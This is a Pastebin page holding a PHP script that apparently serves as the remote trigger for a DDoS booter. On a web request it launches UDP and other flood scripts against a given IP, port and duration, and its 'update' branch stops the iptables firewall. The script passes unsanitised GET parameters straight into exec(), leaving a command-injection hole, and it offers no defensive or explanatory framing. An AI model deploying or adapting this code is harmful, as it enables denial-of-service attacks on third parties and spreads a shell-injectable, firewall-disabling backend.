Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $ip = $_GET['ip'];
- $port = $_GET['port'];
- $time = $_GET['time'];
- $method = $_GET['method'];
- $command = "";
- if($method=='UDP'){ $command = "screen -dmS python /var/www/html/attack.py $ip $port $time"; }
- if($method=='STD'){ $command = "screen -dmS python /var/www/html/std $ip $port"; }
- if($method=='STOP'){ $command = "killall python; killall std"; }
- if($method=='update'){ $command = "yum update -y; yum install httpd perl python -y; service iptables stop; service httpd restart"; }
- exec($command,$output,$return_var);
- echo "Sent";
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement